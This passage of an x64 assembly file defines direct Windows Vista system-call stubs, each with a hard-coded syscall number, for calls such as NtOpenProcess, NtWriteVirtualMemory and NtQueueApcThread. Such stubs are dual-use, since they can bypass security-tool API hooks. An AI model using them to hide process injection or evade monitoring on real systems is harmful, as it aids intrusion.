NtQueryInformationThread( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); _6_0_6000_sp0_windows_vista_NtQueryInformationThread PROC STDCALL mov r10 , rcx mov eax , 34 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtQueryInformationThread ENDP ; ULONG64 __stdcall NtOpenProcess( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_0_6000_sp0_windows_vista_NtOpenProcess PROC STDCALL mov r10 , rcx mov eax , 35 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtOpenProcess ENDP ; ULONG64 __stdcall NtSetInformationFile( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); _6_0_6000_sp0_windows_vista_NtSetInformationFile PROC STDCALL mov r10 , rcx mov eax , 36 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtSetInformationFile ENDP ; ULONG64 __stdcall NtMapViewOfSection( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 ); _6_0_6000_sp0_windows_vista_NtMapViewOfSection PROC STDCALL mov r10 , rcx mov eax , 37 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtMapViewOfSection ENDP ; ULONG64 __stdcall NtAccessCheckAndAuditAlarm( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 , ULONG64 arg_11 ); _6_0_6000_sp0_windows_vista_NtAccessCheckAndAuditAlarm PROC STDCALL mov r10 , rcx mov eax , 38 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtAccessCheckAndAuditAlarm ENDP ; ULONG64 __stdcall NtUnmapViewOfSection( ULONG64 arg_01 , ULONG64 arg_02 ); _6_0_6000_sp0_windows_vista_NtUnmapViewOfSection PROC STDCALL mov r10 , rcx mov eax , 39 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtUnmapViewOfSection ENDP ; ULONG64 __stdcall NtReplyWaitReceivePortEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); _6_0_6000_sp0_windows_vista_NtReplyWaitReceivePortEx PROC STDCALL mov r10 , rcx mov eax , 40 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtReplyWaitReceivePortEx ENDP ; ULONG64 __stdcall NtTerminateProcess( ULONG64 arg_01 , ULONG64 arg_02 ); _6_0_6000_sp0_windows_vista_NtTerminateProcess PROC STDCALL mov r10 , rcx mov eax , 41 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtTerminateProcess ENDP ; ULONG64 __stdcall NtSetEventBoostPriority( ULONG64 arg_01 ); _6_0_6000_sp0_windows_vista_NtSetEventBoostPriority PROC STDCALL mov r10 , rcx mov eax , 42 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtSetEventBoostPriority ENDP ; ULONG64 __stdcall NtReadFileScatter( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 ); _6_0_6000_sp0_windows_vista_NtReadFileScatter PROC STDCALL mov r10 , rcx mov eax , 43 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtReadFileScatter ENDP ; ULONG64 __stdcall NtOpenThreadTokenEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); _6_0_6000_sp0_windows_vista_NtOpenThreadTokenEx PROC STDCALL mov r10 , rcx mov eax , 44 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtOpenThreadTokenEx ENDP ; ULONG64 __stdcall NtOpenProcessTokenEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_0_6000_sp0_windows_vista_NtOpenProcessTokenEx PROC STDCALL mov r10 , rcx mov eax , 45 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtOpenProcessTokenEx ENDP ; ULONG64 __stdcall NtQueryPerformanceCounter( ULONG64 arg_01 , ULONG64 arg_02 ); _6_0_6000_sp0_windows_vista_NtQueryPerformanceCounter PROC STDCALL mov r10 , rcx mov eax , 46 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtQueryPerformanceCounter ENDP ; ULONG64 __stdcall NtEnumerateKey( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 ); _6_0_6000_sp0_windows_vista_NtEnumerateKey PROC STDCALL mov r10 , rcx mov eax , 47 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtEnumerateKey ENDP ; ULONG64 __stdcall NtOpenFile( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 ); _6_0_6000_sp0_windows_vista_NtOpenFile PROC STDCALL mov r10 , rcx mov eax , 48 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtOpenFile ENDP ; ULONG64 __stdcall NtDelayExecution( ULONG64 arg_01 , ULONG64 arg_02 ); _6_0_6000_sp0_windows_vista_NtDelayExecution PROC STDCALL mov r10 , rcx mov eax , 49 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtDelayExecution ENDP ; ULONG64 __stdcall NtQueryDirectoryFile( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 , ULONG64 arg_11 ); _6_0_6000_sp0_windows_vista_NtQueryDirectoryFile PROC STDCALL mov r10 , rcx mov eax , 50 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtQueryDirectoryFile ENDP ; ULONG64 __stdcall NtQuerySystemInformation( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_0_6000_sp0_windows_vista_NtQuerySystemInformation PROC STDCALL mov r10 , rcx mov eax , 51 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtQuerySystemInformation ENDP ; ULONG64 __stdcall NtOpenSection( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_0_6000_sp0_windows_vista_NtOpenSection PROC STDCALL mov r10 , rcx mov eax , 52 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtOpenSection ENDP ; ULONG64 __stdcall NtQueryTimer( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); _6_0_6000_sp0_windows_vista_NtQueryTimer PROC STDCALL mov r10 , rcx mov eax , 53 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtQueryTimer ENDP ; ULONG64 __stdcall NtFsControlFile( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 ); _6_0_6000_sp0_windows_vista_NtFsControlFile PROC STDCALL mov r10 , rcx mov eax , 54 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtFsControlFile ENDP ; ULONG64 __stdcall NtWriteVirtualMemory( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); _6_0_6000_sp0_windows_vista_NtWriteVirtualMemory PROC STDCALL mov r10 , rcx mov eax , 55 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtWriteVirtualMemory ENDP ; ULONG64 __stdcall NtCloseObjectAuditAlarm( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_0_6000_sp0_windows_vista_NtCloseObjectAuditAlarm PROC STDCALL mov r10 , rcx mov eax , 56 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtCloseObjectAuditAlarm ENDP ; ULONG64 __stdcall NtDuplicateObject( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 ); _6_0_6000_sp0_windows_vista_NtDuplicateObject PROC STDCALL mov r10 , rcx mov eax , 57 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtDuplicateObject ENDP ; ULONG64 __stdcall NtQueryAttributesFile( ULONG64 arg_01 , ULONG64 arg_02 ); _6_0_6000_sp0_windows_vista_NtQueryAttributesFile PROC STDCALL mov r10 , rcx mov eax , 58 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtQueryAttributesFile ENDP ; ULONG64 __stdcall NtClearEvent( ULONG64 arg_01 ); _6_0_6000_sp0_windows_vista_NtClearEvent PROC STDCALL mov r10 , rcx mov eax , 59 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtClearEvent ENDP ; ULONG64 __stdcall NtReadVirtualMemory( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); _6_0_6000_sp0_windows_vista_NtReadVirtualMemory PROC STDCALL mov r10 , rcx mov eax , 60 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtReadVirtualMemory ENDP ; ULONG64 __stdcall NtOpenEvent( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_0_6000_sp0_windows_vista_NtOpenEvent PROC STDCALL mov r10 , rcx mov eax , 61 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtOpenEvent ENDP ; ULONG64 __stdcall NtAdjustPrivilegesToken( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 ); _6_0_6000_sp0_windows_vista_NtAdjustPrivilegesToken PROC STDCALL mov r10 , rcx mov eax , 62 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtAdjustPrivilegesToken ENDP ; ULONG64 __stdcall NtDuplicateToken( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 ); _6_0_6000_sp0_windows_vista_NtDuplicateToken PROC STDCALL mov r10 , rcx mov eax , 63 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtDuplicateToken ENDP ; ULONG64 __stdcall NtContinue( ULONG64 arg_01 , ULONG64 arg_02 ); _6_0_6000_sp0_windows_vista_NtContinue PROC STDCALL mov r10 , rcx mov eax , 64 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtContinue ENDP ; ULONG64 __stdcall NtQueryDefaultUILanguage( ULONG64 arg_01 ); _6_0_6000_sp0_windows_vista_NtQueryDefaultUILanguage PROC STDCALL mov r10 , rcx mov eax , 65 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtQueryDefaultUILanguage ENDP ; ULONG64 __stdcall NtQueueApcThread( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); _6_0_6000_sp0_windows_vista_NtQueueApcThread PROC STDCALL mov r10 , rcx mov eax , 66 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtQueueApcThread ENDP ; ULONG64 __stdcall NtYieldExecution( ); _6_0_6000_sp0_windows_vista_NtYieldExecution PROC STDCALL mov r10 , rcx mov eax , 67 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtYieldExecution ENDP ; ULONG64 __stdcall NtAddAtom( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_0_6000_sp0_windows_vista_NtAddAtom PROC STDCALL mov r10 , rcx mov eax , 68 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtAddAtom ENDP ; ULONG64 __stdcall NtCreateEvent( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); _6_0_6000_sp0_windows_vista_NtCreateEvent PROC STDCALL mov r10 , rcx mov eax , 69 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtCreateEvent ENDP ; ULONG64 __stdcall NtQueryVolumeInformationFile( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); _6_0_6000_sp0_windows_vista_NtQueryVolumeInformationFile PROC STDCALL mov r10 , rcx mov eax , 70 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtQueryVolumeInformationFile ENDP ; ULONG64 __stdcall NtCreateSection( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 ); _6_0_6000_sp0_windows_vista_NtCreateSection PROC STDCALL mov r10 , rcx mov eax , 71 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtCreateSection ENDP ; ULONG64 __stdcall NtFlushBuffersFile( ULONG64 arg_01 , ULONG64 arg_02 ); _6_0_6000_sp0_windows_vista_NtFlushBuffersFile PROC STDCALL mov r10 , rcx mov eax , 72 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtFlushBuffersFile ENDP ; ULONG64 __stdcall NtApphelpCacheControl( ULONG64 arg_01 , ULONG64 arg_02 ); _6_0_6000_sp0_windows_vista_NtApphelpCacheControl PROC STDCALL mov r10 , rcx mov eax , 73 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtApphelpCacheControl ENDP ; ULONG64 __stdcall NtCreateProcessEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 ); _6_0_6000_sp0_windows_vista_NtCreateProcessEx PROC STDCALL mov r10 , rcx mov eax , 74 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtCreateProcessEx ENDP ; ULONG64 __stdcall NtCreateThread( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 ); _6_0_6000_sp0_windows_vista_NtCreateThread PROC STDCALL mov r10 , rcx mov eax , 75 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtCreateThread ENDP ; ULONG64 __stdcall NtIsProcessInJob( ULONG64 arg_01 , ULONG64 arg_02 ); _6_0_6000_sp0_windows_vista_NtIsProcessInJob PROC STDCALL mov r10 , rcx mov eax , 76 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtIsProcessInJob ENDP ; ULONG64 __stdcall NtProtectVirtualMemory( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); _6_0_6000_sp0_windows_vista_NtProtectVirtualMemory PROC STDCALL mov r10 , rcx mov eax , 77 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtProtectVirtualMemory ENDP ; ULONG64 __stdcall NtQuerySection( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); _6_0_6000_sp0_windows_vista_NtQuerySection PROC STDCALL mov r10 , rcx mov eax , 78 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtQuerySection ENDP ; ULONG64 __stdcall NtResumeThread( ULONG64 arg_01 , ULONG64 arg_02 ); _6_0_6000_sp0_windows_vista_NtResumeThread PROC STDCALL mov r10 , rcx mov eax , 79 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtResumeThread ENDP ; ULONG64 __stdcall NtTerminateThread( ULONG64 arg_01 , ULONG64 arg_02 ); _6_0_6000_sp0_windows_vista_NtTerminateThread PROC STDCALL mov r10 , rcx mov eax , 80 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtTerminateThread ENDP ; ULONG64 __stdcall NtReadRequestData( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 ); _6_0_6000_sp0_windows_vista_NtReadRequestData PROC STDCALL mov r10 , rcx mov eax , 81 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtReadRequestData ENDP ; ULONG64 __stdcall NtCreateFile( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 , ULONG64 arg_11 ); _6_0_6000_sp0_windows_vista_NtCreateFile PROC STDCALL mov r10 , rcx mov eax , 82 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtCreateFile ENDP ; ULONG64 __stdcall NtQueryEvent( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); _6_0_6000_sp0_windows_vista_NtQueryEvent PROC STDCALL mov r10 , rcx mov eax , 83 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtQueryEvent ENDP ; ULONG64 __stdcall NtWriteRequestData( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 ); _6_0_6000_sp0_windows_vista_NtWriteRequestData PROC STDCALL mov r10 , rcx mov eax , 84 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtWriteRequestData ENDP ; ULONG64 __stdcall NtOpenDirectoryObject( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_0_6000_sp0_windows_vista_NtOpenDirectoryObject PROC STDCALL mov r10 , rcx mov eax , 85 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtOpenDirectoryObject ENDP ; ULONG64 __stdcall NtAccessCheckByTypeAndAuditAlarm( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 , ULONG64 arg_11 , ULONG64 arg_12 , ULONG64 arg_13 , ULONG64 arg_14 , ULONG64 arg_15 , ULONG64 arg_16 ); _6_0_6000_sp0_windows_vista_NtAccessCheckByTypeAndAuditAlarm PROC STDCALL mov r10 , rcx mov eax , 86 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtAccessCheckByTypeAndAuditAlarm ENDP ; ULONG64 __stdcall NtQuerySystemTime( ULONG64 arg_01 ); _6_0_6000_sp0_windows_vista_NtQuerySystemTime PROC STDCALL mov r10 , rcx mov eax , 87 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtQuerySystemTime ENDP ; ULONG64 __stdcall NtWaitForMultipleObjects( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); _6_0_6000_sp0_windows_vista_NtWaitForMultipleObjects PROC STDCALL mov r10 , rcx mov eax , 88 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtWaitForMultipleObjects ENDP ; ULONG64 __stdcall NtSetInformationObject( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_0_6000_sp0_windows_vista_NtSetInformationObject PROC STDCALL mov r10 , rcx mov eax , 89 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtSetInformationObject ENDP ; ULONG64 __stdcall NtCancelIoFile( ULONG64 arg_01 , ULONG64 arg_02 ); _6_0_6000_sp0_windows_vista_NtCancelIoFile PROC STDCALL mov r10 , rcx mov eax , 90 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtCancelIoFile ENDP ; ULONG64 __stdcall NtTraceEvent( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_0_6000_sp0_windows_vista_NtTraceEvent PROC STDCALL mov r10 , rcx mov eax , 91 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtTraceEvent ENDP ; ULONG64 __stdcall NtPowerInformation( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); _6_0_6000_sp0_windows_vista_NtPowerInformation PROC STDCALL mov r10 , rcx mov eax , 92 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtPowerInformation ENDP ; ULONG64 __stdcall NtSetValueKey( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 ); _6_0_6000_sp0_windows_vista_NtSetValueKey PROC STDCALL mov r10 , rcx mov eax , 93 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtSetValueKey ENDP ; ULONG64 __stdcall NtCancelTimer( ULONG64 arg_01 , ULONG64 arg_02 ); _6_0_6000_sp0_windows_vista_NtCancelTimer PROC STDCALL mov r10 , rcx mov eax , 94 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtCancelTimer ENDP ; ULONG64 __stdcall NtSetTimer( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 ); _6_0_6000_sp0_windows_vista_NtSetTimer PROC STDCALL mov r10 , rcx mov eax , 95 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtSetTimer ENDP ; ULONG64 __stdcall NtAcceptConnectPort( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 ); _6_0_6000_sp0_windows_vista_NtAcceptConnectPort PROC STDCALL mov r10 , rcx mov eax , 96 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtAcceptConnectPort ENDP ; ULONG64 __stdcall NtAccessCheck( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 ); _6_0_6000_sp0_windows_vista_NtAccessCheck PROC STDCALL mov r10 , rcx mov eax , 97 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtAccessCheck ENDP ; ULONG64 __stdcall NtAccessCheckByType( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 , ULONG64 arg_11 ); _6_0_6000_sp0_windows_vista_NtAccessCheckByType PROC STDCALL mov r10 , rcx mov eax , 98 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtAccessCheckByType ENDP ; ULONG64 __stdcall NtAccessCheckByTypeResultList( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 , ULONG64 arg_11 ); _6_0_6000_sp0_windows_vista_NtAccessCheckByTypeResultList PROC STDCALL mov r10 , rcx mov eax , 99 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtAccessCheckByTypeResultList ENDP ; ULONG64 __stdcall NtAccessCheckByTypeResultListAndAuditAlarm( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 , ULONG64 arg_11 , ULONG64 arg_12 , ULONG64 arg_13 , ULONG64 arg_14 , ULONG64 arg_15 , ULONG64 arg_16 ); _6_0_6000_sp0_windows_vista_NtAccessCheckByTypeResultListAndAuditAlarm PROC STDCALL mov r10 , rcx mov eax , 100 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtAccessCheckByTypeResultListAndAuditAlarm ENDP ; ULONG64 __stdcall NtAccessCheckByTypeResultListAndAuditAlarmByHandle( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 , ULONG64 arg_11 , ULONG64 arg_12 , ULONG64 arg_13 , ULONG64 arg_14 , ULONG64 arg_15 , ULONG64 arg_16 , ULONG64 arg_17 ); _6_0_6000_sp0_windows_vista_NtAccessCheckByTypeResultListAndAuditAlarmByHandle PROC STDCALL mov r10 , rcx mov eax , 101 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtAccessCheckByTypeResultListAndAuditAlarmByHandle ENDP ; ULONG64 __stdcall NtAcquireCMFViewOwnership( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_0_6000_sp0_windows_vista_NtAcquireCMFViewOwnership PROC STDCALL mov r10 , rcx mov eax , 102 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtAcquireCMFViewOwnership ENDP ; ULONG64 __stdcall NtAddBootEntry( ULONG64 arg_01 , ULONG64 arg_02 ); _6_0_6000_sp0_windows_vista_NtAddBootEntry PROC STDCALL mov r10 , rcx mov eax , 103 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtAddBootEntry ENDP ; ULONG64 __stdcall NtAddDriverEntry( ULONG64 arg_01 , ULONG64 arg_02 ); _6_0_6000_sp0_windows_vista_NtAddDriverEntry PROC STDCALL mov r10 , rcx mov eax , 104 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtAddDriverEntry ENDP ; ULONG64 __stdcall NtAdjustGroupsToken( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 ); _6_0_6000_sp0_windows_vista_NtAdjustGroupsToken PROC STDCALL mov r10 , rcx mov eax , 105 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtAdjustGroupsToken ENDP ; ULONG64 __stdcall NtAlertResumeThread( ULONG64 arg_01 , ULONG64 arg_02 ); _6_0_6000_sp0_windows_vista_NtAlertResumeThread PROC STDCALL mov r10 , rcx mov eax , 106 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtAlertResumeThread ENDP ; ULONG64 __stdcall NtAlertThread( ULONG64 arg_01 ); _6_0_6000_sp0_windows_vista_NtAlertThread PROC STDCALL mov r10 , rcx mov eax , 107 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtAlertThread ENDP ; ULONG64 __stdcall NtAllocateLocallyUniqueId( ULONG64 arg_01 ); _6_0_6000_sp0_windows_vista_NtAllocateLocallyUniqueId PROC STDCALL mov r10 , rcx mov eax , 108 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtAllocateLocallyUniqueId ENDP ; ULONG64 __stdcall NtAllocateUserPhysicalPages( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_0_6000_sp0_windows_vista_NtAllocateUserPhysicalPages PROC STDCALL mov r10 , rcx mov eax , 109 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtAllocateUserPhysicalPages ENDP ; ULONG64 __stdcall NtAllocateUuids( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_0_6000_sp0_windows_vista_NtAllocateUuids PROC STDCALL mov r10 , rcx mov eax , 110 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtAllocateUuids ENDP ; ULONG64 __stdcall NtAlpcAcceptConnectPort( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 ); _6_0_6000_sp0_windows_vista_NtAlpcAcceptConnectPort PROC STDCALL mov r10 , rcx mov eax , 111 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtAlpcAcceptConnectPort ENDP ; ULONG64 __stdcall NtAlpcCancelMessage( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_0_6000_sp0_windows_vista_NtAlpcCancelMessage PROC STDCALL mov r10 , rcx mov eax , 112 ;syscall db 0Fh , 05h ret 